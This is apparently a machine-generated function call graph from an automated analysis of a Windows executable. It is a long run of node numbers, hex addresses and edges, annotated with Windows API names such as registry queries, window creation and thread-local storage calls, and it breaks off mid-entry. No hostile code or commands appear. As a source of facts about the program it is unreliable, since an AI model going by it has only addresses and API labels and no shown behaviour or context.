51086->51087 51088 403400 4 API calls 51087->51088 51089 42cd13 51088->51089 51089->50523 51089->50833 51090->50551 51093 46a787 51091->51093 51092 46abff 51095 46ac1a 51092->51095 51096 46ac4b 51092->51096 51093->51092 51094 46a842 51093->51094 51097 403494 4 API calls 51093->51097 51100 46a863 51094->51100 51101 46a8a4 51094->51101 51098 403494 4 API calls 51095->51098 51099 403494 4 API calls 51096->51099 51103 46a7c6 51097->51103 51104 46ac28 51098->51104 51105 46ac59 51099->51105 51102 403494 4 API calls 51100->51102 51109 403400 4 API calls 51101->51109 51106 46a871 51102->51106 51107 414ae8 4 API calls 51103->51107 51203 46915c 12 API calls 51104->51203 51204 46915c 12 API calls 51105->51204 51111 414ae8 4 API calls 51106->51111 51112 46a7e7 51107->51112 51113 46a8a2 51109->51113 51115 46a892 51111->51115 51177 403634 51112->51177 51133 46a988 51113->51133 51183 469868 51113->51183 51114 46ac36 51117 403400 4 API calls 51114->51117 51118 403634 4 API calls 51115->51118 51121 46ac7c 51117->51121 51118->51113 51126 403400 4 API calls 51121->51126 51122 46aa10 51124 403400 4 API calls 51122->51124 51129 46aa0e 51124->51129 51125 46a8c4 51130 46a902 51125->51130 51131 46a8ca 51125->51131 51127 46ac84 51126->51127 51132 403420 4 API calls 51127->51132 51198 469ca4 43 API calls 51129->51198 51134 403400 4 API calls 51130->51134 51135 403494 4 API calls 51131->51135 51137 46ac91 51132->51137 51133->51122 51138 46a9cf 51133->51138 51139 46a900 51134->51139 51136 46a8d8 51135->51136 51189 47c26c 51136->51189 51137->50558 51143 403494 4 API calls 51138->51143 51192 469b5c 51139->51192 51147 46a9dd 51143->51147 51145 46aa39 51154 46aa44 51145->51154 51155 46aa9a 51145->51155 51146 46a8f0 51149 403634 4 API calls 51146->51149 51150 414ae8 4 API calls 51147->51150 51149->51139 51152 46a9fe 51150->51152 51156 403634 4 API calls 51152->51156 51153 46a929 51159 46a934 51153->51159 51160 46a98a 51153->51160 51158 403494 4 API calls 51154->51158 51157 403400 4 API calls 51155->51157 51156->51129 51163 46aaa2 51157->51163 51165 46aa52 51158->51165 51162 403494 4 API calls 51159->51162 51161 403400 4 API calls 51160->51161 51161->51133 51167 46a942 51162->51167 51175 46ab4b 51163->51175 51199 494c90 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51163->51199 51165->51163 51169 403634 4 API calls 51165->51169 51171 46aa98 51165->51171 51166 46aac5 51166->51175 51200 494f3c 18 API calls 51166->51200 51167->51133 51170 403634 4 API calls 51167->51170 51169->51165 51170->51167 51171->51163 51173 46abec 51202 429144 SendMessageA SendMessageA 51173->51202 51201 4290f4 SendMessageA 51175->51201 51176->50559 51178 40363c 51177->51178 51179 4034bc 4 API calls 51178->51179 51180 40364f 51179->51180 51181 403450 4 API calls 51180->51181 51182 403677 51181->51182 51205 42a040 SendMessageA 51183->51205 51185 469877 51186 469897 51185->51186 51206 42a040 SendMessageA 51185->51206 51186->51125 51188 469887 51188->51125 51207 47c2b4 51189->51207 51196 469b89 51192->51196 51193 469beb 51194 403400 4 API calls 51193->51194 51195 469c00 51194->51195 51195->51153 51196->51193 51552 469ae0 43 API calls 51196->51552 51198->51145 51199->51166 51200->51175 51201->51173 51202->51092 51203->51114 51204->51114 51205->51185 51206->51188 51208 403494 4 API calls 51207->51208 51215 47c2e7 51208->51215 51209 47c3f9 51210 403420 4 API calls 51209->51210 51211 47c289 51210->51211 51211->51146 51213 403778 4 API calls 51213->51215 51215->51209 51215->51213 51218 4037b8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51215->51218 51219 47b100 51215->51219 51463 453344 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51215->51463 51464 403800 51215->51464 51468 42c97c CharPrevA 51215->51468 51218->51215 51220 47b152 51219->51220 51221 47b130 51219->51221 51222 47b172 51220->51222 51223 47b160 51220->51223 51221->51220 51473 47a030 19 API calls 51221->51473 51226 47b1d5 51222->51226 51227 47b180 51222->51227 51224 403494 4 API calls 51223->51224 51278 47b16d 51224->51278 51236 47b1f6 51226->51236 51237 47b1e3 51226->51237 51229 47b1af 51227->51229 51230 47b189 51227->51230 51228 403400 4 API calls 51231 47baf8 51228->51231 51233 47b1c2 51229->51233 51475 453344 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51229->51475 51232 47b19c 51230->51232 51474 453344 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51230->51474 51235 403400 4 API calls 51231->51235 51239 403494 4 API calls 51232->51239 51234 403494 4 API calls 51233->51234 51234->51278 51241 47bb00 51235->51241 51243 47b217 51236->51243 51244 47b204 51236->51244 51242 403494 4 API calls 51237->51242 51239->51278 51241->51215 51242->51278 51246 47b267 51243->51246 51247 47b225 51243->51247 51245 403494 4 API calls 51244->51245 51245->51278 51254 47b275 51246->51254 51255 47b288 51246->51255 51248 47b241 51247->51248 51249 47b22e 51247->51249 51251 47b254 51248->51251 51476 453344 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51248->51476 51250 403494 4 API calls 51249->51250 51250->51278 51253 403494 4 API calls 51251->51253 51253->51278 51256 403494 4 API calls 51254->51256 51257 47b296 51255->51257 51258 47b2a9 51255->51258 51256->51278 51259 403494 4 API calls 51257->51259 51260 47b2b7 51258->51260 51261 47b2ca 51258->51261 51259->51278 51262 403494 4 API calls 51260->51262 51263 47b2eb 51261->51263 51264 47b2d8 51261->51264 51262->51278 51266 47b327 51263->51266 51267 47b2f9 51263->51267 51265 403494 4 API calls 51264->51265 51265->51278 51272 47b335 51266->51272 51277 47b364 51266->51277 51268 47b315 51267->51268 51269 47b302 51267->51269 51271 47c26c 43 API calls 51268->51271 51270 403494 4 API calls 51269->51270 51270->51278 51271->51278 51273 47b351 51272->51273 51274 47b33e 51272->51274 51276 403494 4 API calls 51273->51276 51275 403494 4 API calls 51274->51275 51275->51278 51276->51278 51279 47b372 51277->51279 51280 47b3a0 51277->51280 51278->51228 51281 47b38e 51279->51281 51282 47b37b 51279->51282 51285 47b3ae 51280->51285 51286 47b3dd 51280->51286 51463->51215 51465 40382f 51464->51465 51466 403804 51464->51466 51465->51215 51467 4038a4 4 API calls 51466->51467 51467->51465 51468->51215 51473->51221 51474->51232 51475->51233 51476->51251 51552->51196 51554 47dd56 51553->51554 51555 47dd19 51553->51555 51554->50565 51585 455d0c 51555->51585 51559 47dd6d 51559->50565 51704 466714 51560->51704 51563->50573 51565 42f56c 51564->51565 51566 42f58f GetActiveWindow GetFocus 51565->51566 51567 41eea4 2 API calls 51566->51567 51568 42f5a6 51567->51568 51569 42f5c3 51568->51569 51570 42f5b3 RegisterClassA 51568->51570 51571 42f652 SetFocus 51569->51571 51572 42f5d1 CreateWindowExA 51569->51572 51570->51569 51573 403400 4 API calls 51571->51573 51572->51571 51574 42f604 51572->51574 51575 42f66e 51573->51575 51735 42427c 51574->51735 51580 494f3c 18 API calls 51575->51580 51577 42f62c 51578 42f634 CreateWindowExA 51577->51578 51578->51571 51579 42f64a ShowWindow 51578->51579 51579->51571 51580->50611 51741 44b514 51581->51741 51586 455d1d 51585->51586 51587 455d21 51586->51587 51588 455d2a 51586->51588 51611 455a10 51587->51611 51619 455af0 29 API calls 51588->51619 51591 455d27 51591->51554 51592 47d970 51591->51592 51597 47da6c 51592->51597 51599 47d9b0 51592->51599 51593 403420 4 API calls 51594 47db4f 51593->51594 51594->51559 51604 47dabd 51597->51604 51607 47da0f 51597->51607 51674 479630 51597->51674 51599->51597 51600 47da18 51599->51600 51603 47c26c 43 API calls 51599->51603 51599->51607 51648 479770 51599->51648 51659 4798d4 51599->51659 51600->51599 51605 47c26c 43 API calls 51600->51605 51610 47da59 51600->51610 51663 42c92c 51600->51663 51668 42c954 51600->51668 51673 47d67c 52 API calls 51600->51673 51601 47c26c 43 API calls 51601->51604 51602 454100 20 API calls 51602->51604 51603->51599 51604->51597 51604->51601 51604->51602 51604->51610 51605->51600 51607->51593 51610->51607 51620 42de1c 51611->51620 51613 455a2d 51614 455a7b 51613->51614 51623 455944 51613->51623 51614->51591 51617 455944 6 API calls 51618 455a5c RegCloseKey 51617->51618 51618->51591 51619->51591 51621 42de27 51620->51621 51622 42de2d RegOpenKeyExA 51620->51622 51621->51622 51622->51613 51628 42dd58 51623->51628 51625 45596c 51626 403420 4 API calls 51625->51626 51627 4559f6 51626->51627 51627->51617 51631 42dc00 51628->51631 51632 42dc26 RegQueryValueExA 51631->51632 51637 42dc49 51632->51637 51647 42dc6b 51632->51647 51633 403400 4 API calls 51635 42dd37 51633->51635 51634 42dc63 51636 403400 4 API calls 51634->51636 51635->51625 51636->51647 51637->51634 51638 4034e0 4 API calls 51637->51638 51639 403744 4 API calls 51637->51639 51637->51647 51638->51637 51640 42dca0 RegQueryValueExA 51639->51640 51640->51632 51641 42dcbc 51640->51641 51642 4038a4 4 API calls 51641->51642 51641->51647 51643 42dcfe 51642->51643 51644 42dd10 51643->51644 51646 403744 4 API calls 51643->51646 51645 403450 4 API calls 51644->51645 51645->51647 51646->51644 51647->51633 51649 479786 51648->51649 51650 479782 51648->51650 51651 403450 4 API calls 51649->51651 51650->51599 51652 479793 51651->51652 51653 4797b3 51652->51653 51654 479799 51652->51654 51656 479630 19 API calls 51653->51656 51655 479630 19 API calls 51654->51655 51657 4797af 51655->51657 51656->51657 51658 403400 4 API calls 51657->51658 51658->51650 51661 4798e0 51659->51661 51660 4798fb 51660->51599 51661->51660 51686 453344 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51661->51686 51687 42c79c 51663->51687 51666 403778 4 API calls 51667 42c94e 51666->51667 51667->51600 51669 42c79c IsDBCSLeadByte 51668->51669 51670 42c964 51669->51670 51671 403778 4 API calls 51670->51671 51672 42c975 51671->51672 51672->51600 51673->51600 51675 47964b 51674->51675 51678 47967c 51675->51678 51685 47970a 51675->51685 51699 4794e4 19 API calls 51675->51699 51676 4796a1 51682 4796c2 51676->51682 51701 4794e4 19 API calls 51676->51701 51678->51676 51700 4794e4 19 API calls 51678->51700 51681 479702 51693 479368 51681->51693 51682->51681 51682->51685 51702 453344 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51682->51702 51685->51597 51686->51660 51688 42c67c IsDBCSLeadByte 51687->51688 51690 42c7b1 51688->51690 51689 42c7fb 51689->51666 51690->51689 51692 42c444 IsDBCSLeadByte 51690->51692 51692->51690 51694 4793a3 51693->51694 51695 403450 4 API calls 51694->51695 51696 4793c8 51695->51696 51703 477a58 19 API calls 51696->51703 51698 479409 51698->51685 51699->51678 51700->51676 51701->51682 51702->51681 51703->51698 51705 403494 4 API calls 51704->51705 51706 466742 51705->51706 51721 42dbc8 51706->51721 51709 42dbc8 5 API calls 51710 466766 51709->51710 51711 466600 19 API calls 51710->51711 51712 466770 51711->51712 51713 42dbc8 5 API calls 51712->51713 51714 46677f 51713->51714 51724 466678 51714->51724 51717 42dbc8 5 API calls 51718 466798 51717->51718 51719 403400 4 API calls 51718->51719 51720 4667ad 51719->51720 51720->50569 51728 42db10 51721->51728 51725 466698 51724->51725 51726 4078f4 19 API calls 51725->51726 51727 4666e2 51726->51727 51727->51717 51729 42dbbb 51728->51729 51730 42db30 51728->51730 51729->51709 51730->51729 51731 4037b8 4 API calls 51730->51731 51733 403800 4 API calls 51730->51733 51734 42c444 IsDBCSLeadByte 51730->51734 51731->51730 51733->51730 51734->51730 51736 4242ae 51735->51736 51737 42428e GetWindowTextA 51735->51737 51739 403494 4 API calls 51736->51739 51738 4034e0 4 API calls 51737->51738 51740 4242ac 51738->51740 51739->51740 51740->51577 51744 44b38c 51741->51744 51745 44b3bf 51744->51745 51746 414ae8 4 API calls 51745->51746 51747 44b3d2 51746->51747 51748 44b3ff GetDC 51747->51748 51749 40357c 4 API calls 51747->51749 51755 41a1e8 51748->51755 51749->51748 51752 44b430 51763 44b0c0 51752->51763 51756 41a213 51755->51756 51757 41a2af 51755->51757 51774 403520 51756->51774 51758 403400 4 API calls 51757->51758 51759 41a2c7 SelectObject 51758->51759 51759->51752 51761 41a26b 51775 4034e0 4 API calls 51774->51775 51776 40352a 51775->51776 51776->51761 51780 4652d7 51777->51780 51778 4653b2 51788 46708c 51778->51788 51779 46536a 51779->51778 51806 4185b8 7 API calls 51779->51806 51780->51778 51783 465327 51780->51783 51800 421a1c 51780->51800 51783->51779 51784 465361 51783->51784 51785 46536c 51783->51785 51786 421a1c 7 API calls 51784->51786 51787 421a1c 7 API calls 51785->51787 51786->51779 51787->51779 51789 4670bc 51788->51789 51790 46709d 51788->51790 51789->50630 51791 414b18 4 API calls 51790->51791 51792 4670ab 51791->51792 51793 414b18 4 API calls 51792->51793 51793->51789 51801 421a74 51800->51801 51803 421a2a 51800->51803 51801->51783 51802 421a59 51802->51801 51815 421d28 SetFocus GetFocus 51802->51815 51803->51802 51807 408cbc 51803->51807 51806->51778 51808 408cc8 51807->51808 51816 406dec LoadStringA 51808->51816 51811 403450 4 API calls 51812 408cf9 51811->51812 51813 403400 4 API calls 51812->51813 51814 408d0e 51813->51814 51814->51802 51815->51801 51817 4034e0 4 API calls 51816->51817 51818 406e19 51817->51818 51818->51811 51867 46c7a5 51866->51867 51868 414ae8 4 API calls 51867->51868 51883 46c7f2 51867->51883 51869 46c7bb 51868->51869 52073 466924 6 API calls 51869->52073 51870 403420 4 API calls 51872 46c89c 51870->51872 51872->50710 52065 408be0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 51872->52065 51873 46c7c3 51874 414b18 4 API calls 51873->51874 51875 46c7d1 51874->51875 51876 46c7de 51875->51876 51878 46c7f7 51875->51878 52074 47efd0 42 API calls 51876->52074 51879 46c80f 51878->51879 51881 466a08 CharNextA 51878->51881 52075 47efd0 42 API calls 51879->52075 51882 46c80b 51881->51882 51882->51879 51884 46c825 51882->51884 51883->51870 51885 46c841 51884->51885 51886 46c82b 51884->51886 51888 42c99c CharNextA 51885->51888 52076 47efd0 42 API calls 51886->52076 51889 46c84e 51888->51889 51889->51883 52077 466a94 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 51889->52077 51891 46c865 51892 451458 4 API calls 51891->51892 51893 46c872 51892->51893 52078 47efd0 42 API calls 51893->52078 51896 4241ed SetActiveWindow 51895->51896 51900 424223 51895->51900 52079 42364c 51896->52079 51900->50722 51900->50723 51901 42420a 51901->51900 51902 42421d SetFocus 51901->51902 51902->51900 51904 482505 51903->51904 51905 4824d7 51903->51905 51907 475bd0 51904->51907 52092 494cec 18 API calls 51905->52092 52093 457d10 51907->52093 52066->50718 52073->51873 52074->51883 52075->51883 52076->51883 52077->51891 52078->51883 52088 4235f8 SystemParametersInfoA 52079->52088 52082 423665 ShowWindow 52084 423670 52082->52084 52085 423677 52082->52085 52091 423628 SystemParametersInfoA 52084->52091 52087 423b14 LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 52085->52087 52087->51901 52089 423616 52088->52089 52089->52082 52090 423628 SystemParametersInfoA 52089->52090 52090->52082 52091->52085 52092->51904 52094 457e44 52093->52094 52095 457d3c 52093->52095 52096 457e95 52094->52096 52569 45757c 6 API calls 52094->52569 52565 457a0c GetSystemTimeAsFileTime FileTimeToSystemTime 52095->52565 52099 403400 4 API calls 52096->52099 52101 457eaa 52099->52101 52100 457d44 52102 4078f4 19 API calls 52100->52102 52114 4072a8 52101->52114 52103 457db5 52102->52103 52566 457d00 20 API calls 52103->52566 52109 457dbd 52115 403738 52114->52115 52116 4072b2 SetCurrentDirectoryA 52115->52116 52565->52100 52566->52109 52569->52096 53758 431eec 53719->53758 53721 43d9f2 53722 403400 4 API calls 53721->53722 53723 43da76 53722->53723 53723->50779 53723->50780 53725 431bd6 53724->53725 53726 402648 4 API calls 53725->53726 53727 431c06 53726->53727 53728 4947f8 53727->53728 53729 4948cd 53728->53729 53730 494812 53728->53730 53735 494910 53729->53735 53730->53729 53732 433d6c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53730->53732 53734 403450 4 API calls 53730->53734 53763 408c0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53730->53763 53764 431ca0 53730->53764 53732->53730 53734->53730 53736 49492c 53735->53736 53772 433d6c 53736->53772 53738 494931 53739 431ca0 4 API calls 53738->53739 53740 49493c 53739->53740 53741 43d594 53740->53741 53742 43d5c1 53741->53742 53743 43d5b3 53741->53743 53742->50790 53743->53742 53744 43d63d 53743->53744 53748 447084 4 API calls 53743->53748 53751 43d6f7 53744->53751 53775 447084 53744->53775 53746 43d688 53781 43dd50 53746->53781 53748->53743 53749 43d8fd 53749->53742 53801 447024 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53749->53801 53751->53749 53752 43d8de 53751->53752 53799 447024 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53751->53799 53800 447024 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53752->53800 53755->50792 53756->50794 53757->50781 53759 403494 4 API calls 53758->53759 53761 431efb 53759->53761 53760 431f25 53760->53721 53761->53760 53762 403744 4 API calls 53761->53762 53762->53761 53763->53730 53765 431cc0 53764->53765 53766 431cae 53764->53766 53768 431ce2 53765->53768 53771 431c40 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53765->53771 53770 402678 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53766->53770 53768->53730 53770->53765 53771->53768 53773 402648 4 API calls 53772->53773 53774 433d7b 53773->53774 53774->53738 53776 4470a3 53775->53776 53777 4470aa 53775->53777 53802 446e30 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53776->53802 53779 431ca0 4 API calls 53777->53779 53780 4470ba 53779->53780 53780->53746 53782 43dd6c 53781->53782 53787 43dd99 53781->53787 53783 402660 4 API calls 53782->53783 53782->53787 53783->53782 53784 43ddce 53784->53751 53786 43fea5 53786->53784 53812 447024 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53786->53812 53787->53784 53787->53786 53788 43c938 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53788 53790 433b18 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53790 53793 446e30 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53793 53795 433d18 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53795 53796 436650 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53796 53797 431c40 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53797 53798 447024 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53798 53803 4396e0 53787->53803 53809 436e4c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53809 53810 43dc48 18 API calls 53787->53810 53811 433d34 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53787->53811 53788->53787 53790->53787 53793->53787 53795->53787 53796->53787 53797->53787 53798->53787 53799->53751 53800->53749 53801->53749 53802->53777 53804 4396e9 53803->53804 53809->53787 53810->53787 53811->53787 53812->53786 53815 41fb58 53816 41fb61 53815->53816 53819 41fdfc 53816->53819 53818 41fb6e 53820 41feee 53819->53820 53821 41fe13 53819->53821 53820->53818 53821->53820 53840 41f9bc GetWindowLongA GetSystemMetrics GetSystemMetrics GetWindowLongA 53821->53840 53823 41fe49 53824 41fe73 53823->53824 53825 41fe4d 53823->53825 53850 41f9bc GetWindowLongA GetSystemMetrics GetSystemMetrics GetWindowLongA 53824->53850 53841 41fb9c 53825->53841 53829 41fe81 53831 41fe85 53829->53831 53832 41feab 53829->53832 53830 41fb9c 10 API calls 53839 41fe71 53830->53839 53833 41fb9c 10 API calls 53831->53833 53834 41fb9c 10 API calls 53832->53834 53835 41fe97 53833->53835 53836 41febd 53834->53836 53838 41fb9c 10 API calls 53835->53838 53837 41fb9c 10 API calls 53836->53837 53837->53839 53838->53839 53839->53818 53840->53823 53842 41fbb7 53841->53842 53843 41fbcd 53842->53843 53844 41f93c 4 API calls 53842->53844 53851 41f93c 53843->53851 53844->53843 53846 41fc15 53847 41fc38 SetScrollInfo 53846->53847 53859 41fa9c 53847->53859 53850->53829 53852 4181e0 53851->53852 53853 41f959 GetWindowLongA 53852->53853 53854 41f996 53853->53854 53855 41f976 53853->53855 53871 41f8c8 GetWindowLongA GetSystemMetrics GetSystemMetrics 53854->53871 53870 41f8c8 GetWindowLongA GetSystemMetrics GetSystemMetrics 53855->53870 53858 41f982 53858->53846 53860 41faaa 53859->53860 53861 41fab2 53859->53861 53860->53830 53862 41faf1 53861->53862 53863 41fae1 53861->53863 53869 41faef 53861->53869 53873 417e48 IsWindowVisible ScrollWindow SetWindowPos 53862->53873 53872 417e48 IsWindowVisible ScrollWindow SetWindowPos 53863->53872 53864 41fb31 GetScrollPos 53864->53860 53867 41fb3c 53864->53867 53868 41fb4b SetScrollPos 53867->53868 53868->53860 53869->53864 53870->53858 53871->53858 53872->53869 53873->53869 53874 420598 53875 4205ab 53874->53875 53895 415b30 53875->53895 53877 4206f2 53878 420709 53877->53878 53902 4146d4 KiUserCallbackDispatcher 53877->53902 53882 420720 53878->53882 53903 414718 KiUserCallbackDispatcher 53878->53903 53879 420651 53900 420848 20 API calls 53879->53900 53880 4205e6 53880->53877 53880->53879 53888 420642 MulDiv 53880->53888 53884 420742 53882->53884 53904 420060 12 API calls 53882->53904 53886 42066a 53886->53877 53901 420060 12 API calls 53886->53901 53899 41a304 LocalAlloc TlsSetValue TlsGetValue TlsGetValue DeleteObject 53888->53899 53891 420687 53892 4206a3 MulDiv 53891->53892 53893 4206c6 53891->53893 53892->53893 53893->53877 53894 4206cf MulDiv 53893->53894 53894->53877 53896 415b42 53895->53896 53905 414470 53896->53905 53898 415b5a 53898->53880 53899->53879 53900->53886 53901->53891 53902->53878 53903->53882 53904->53884 53906 41448a 53905->53906 53909 410458 53906->53909 53908 4144a0 53908->53898 53912 40dca4 53909->53912 53911 41045e 53911->53908 53913 40dd06 53912->53913 53914 40dcb7 53912->53914 53919 40dd14 53913->53919 53917 40dd14 19 API calls 53914->53917 53918 40dce1 53917->53918 53918->53911 53920 40dd24 53919->53920 53922 40dd3a 53920->53922 53931 40e09c 53920->53931 53947 40d5e0 53920->53947 53950 40df4c 53922->53950 53925 40d5e0 5 API calls 53926 40dd42 53925->53926 53926->53925 53927 40ddae 53926->53927 53953 40db60 53926->53953 53928 40df4c 5 API calls 53927->53928 53930 40dd10 53928->53930 53930->53911 53967 40e96c 53931->53967 53933 403778 4 API calls 53935 40e0d7 53933->53935 53934 40e18d 53936 40e1b7 53934->53936 53937 40e1a8 53934->53937 53935->53933 53935->53934 54030 40d774 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53935->54030 54031 40e080 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53935->54031 54027 40ba24 53936->54027 53976 40e3c0 53937->53976 53943 40e1b5 53944 403400 4 API calls 53943->53944 53945 40e25c 53944->53945 53945->53920 53948 40ea08 5 API calls 53947->53948 53949 40d5ea 53948->53949 53949->53920 54064 40d4bc 53950->54064 54073 40df54 53953->54073 53956 40e96c 5 API calls 53957 40db9e 53956->53957 53958 40e96c 5 API calls 53957->53958 53959 40dba9 53958->53959 53960 40dbc4 53959->53960 53961 40dbbb 53959->53961 53966 40dbc1 53959->53966 54080 40d9d8 53960->54080 54083 40dac8 19 API calls 53961->54083 53964 403420 4 API calls 53965 40dc8f 53964->53965 53965->53926 53966->53964 54033 40d780 53967->54033 53970 4034e0 4 API calls 53971 40e98f 53970->53971 53972 403744 4 API calls 53971->53972 53973 40e996 53972->53973 53974 40d780 5 API calls 53973->53974 53975 40e9a4 53974->53975 53975->53935 53977 40e3ec 53976->53977 53979 40e3f6 53976->53979 54038 40d440 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53977->54038 53980 40e511 53979->53980 53981 40e495 53979->53981 53982 40e4f6 53979->53982 53983 40e576 53979->53983 53984 40e438 53979->53984 53985 40e4d9 53979->53985 53986 40e47a 53979->53986 53987 40e4bb 53979->53987 53998 40e45c 53979->53998 53990 40d764 5 API calls 53980->53990 54046 40de24 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53981->54046 54051 40e890 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53982->54051 53994 40d764 5 API calls 53983->53994 54039 40d764 53984->54039 54049 40e9a8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53985->54049 54045 40d818 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53986->54045 54048 40dde4 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53987->54048 53999 40e519 53990->53999 53993 403400 4 API calls 54000 40e5eb 53993->54000 54001 40e57e 53994->54001 53997 40e4a0 54047 40d470 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 53997->54047 53998->53993 54007 40e523 53999->54007 54008 40e51d 53999->54008 54000->53943 54009 40e582 54001->54009 54010 40e59b 54001->54010 54002 40e4e4 54050 409d38 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 54002->54050 54004 40e461 54044 40ded8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54004->54044 54005 40e444 54042 40de24 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54005->54042 54052 40ea08 54007->54052 54015 40e521 54008->54015 54016 40e53c 54008->54016 54018 40ea08 5 API calls 54009->54018 54058 40de24 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54010->54058 54056 40de24 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54015->54056 54019 40ea08 5 API calls 54016->54019 54018->53998 54021 40e544 54019->54021 54020 40e44f 54043 40e26c LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54020->54043 54055 40d8a0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54021->54055 54024 40e566 54057 40e2d4 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 54024->54057 54059 40b9d0 54027->54059 54030->53935 54031->53935 54032 40d774 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54032->53943 54035 40d78b 54033->54035 54034 40d7c5 54034->53970 54035->54034 54037 40d7cc LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54035->54037 54037->54035 54038->53979 54040 40ea08 5 API calls 54039->54040 54041 40d76e 54040->54041 54041->54004 54041->54005 54042->54020 54043->53998 54044->53998 54045->53998 54046->53997 54047->53998 54048->53998 54049->54002 54050->53998 54051->53998 54053 40d780 5 API calls 54052->54053 54054 40ea15 54053->54054 54054->53998 54055->53998 54056->54024 54057->53998 54058->53998 54060 40b9e2 54059->54060 54061 40ba07 54059->54061 54060->54061 54063 40ba84 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 54060->54063 54061->53943 54061->54032 54063->54061 54065 40ea08 5 API calls 54064->54065 54067 40d4c9 54065->54067 54066 40d4dc 54066->53926 54067->54066 54071 40eb0c LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54067->54071 54069 40d4d7 54072 40d458 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54069->54072 54071->54069 54072->54066 54074 40d764 5 API calls 54073->54074 54075 40df6b 54074->54075 54076 40ea08 5 API calls 54075->54076 54079 40db93 54075->54079 54077 40df78 54076->54077 54077->54079 54084 40ded8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue LoadStringA 54077->54084 54079->53956 54085 40ab7c 19 API calls 54080->54085 54082 40da00 54082->53966 54083->53966 54084->54079 54085->54082 56290 40ce7c 56291 40ce84 56290->56291 56292 40ceae 56291->56292 56293 40ceb2 56291->56293 56294 40cea7 56291->56294 56296 40ceb6 56293->56296 56297 40cec8 56293->56297 56303 406288 GlobalHandle GlobalUnlock GlobalFree 56294->56303 56302 40625c GlobalAlloc GlobalLock 56296->56302 56304 40626c GlobalHandle GlobalUnlock GlobalReAlloc GlobalLock 56297->56304 56300 40cec4 56300->56292 56301 408cbc 5 API calls 56300->56301 56301->56292 56302->56300 56303->56292 56304->56300 56305 41363c SetWindowLongA GetWindowLongA 56306 413699 SetPropA SetPropA 56305->56306 56307 41367b GetWindowLongA 56305->56307 56312 41f39c 56306->56312 56307->56306 56308 41368a SetWindowLongA 56307->56308 56308->56306 56317 415270 56312->56317 56324 423c0c 56312->56324 56418 423a84 56312->56418 56313 4136e9 56318 41527d 56317->56318 56319 4152e3 56318->56319 56320 4152d8 56318->56320 56323 4152e1 56318->56323 56425 424b8c 13 API calls 56319->56425 56320->56323 56426 41505c 46 API calls 56320->56426 56323->56313 56327 423c42 56324->56327 56343 423c63 56327->56343 56427 423b68 56327->56427 56328 423cec 56330 423cf3 56328->56330 56331 423d27 56328->56331 56329 423c8d 56332 423c93 56329->56332 56333 423d50 56329->56333 56338 423cf9 56330->56338 56376 423fb1 56330->56376 56334 423d32 56331->56334 56335 42409a IsIconic 56331->56335 56339 423cc5 56332->56339 56340 423c98 56332->56340 56336 423d62 56333->56336 56337 423d6b 56333->56337 56341 4240d6 56334->56341 56342 423d3b 56334->56342 56335->56343 56347 4240ae GetFocus 56335->56347 56344 423d78 56336->56344 56345 423d69 56336->56345 56434 424194 11 API calls 56337->56434 56348 423f13 SendMessageA 56338->56348 56349 423d07 56338->56349 56339->56343 56367 423cde 56339->56367 56368 423e3f 56339->56368 56350 423df6 56340->56350 56351 423c9e 56340->56351 56448 424850 WinHelpA PostMessageA 56341->56448 56353 4240ed 56342->56353 56377 423cc0 56342->56377 56343->56313 56354 4241dc 11 API calls 56344->56354 56435 423b84 NtdllDefWindowProc_A 56345->56435 56347->56343 56355 4240bf 56347->56355 56348->56343 56349->56343 56349->56377 56398 423f56 56349->56398 56439 423b84 NtdllDefWindowProc_A 56350->56439 56356 423ca7 56351->56356 56357 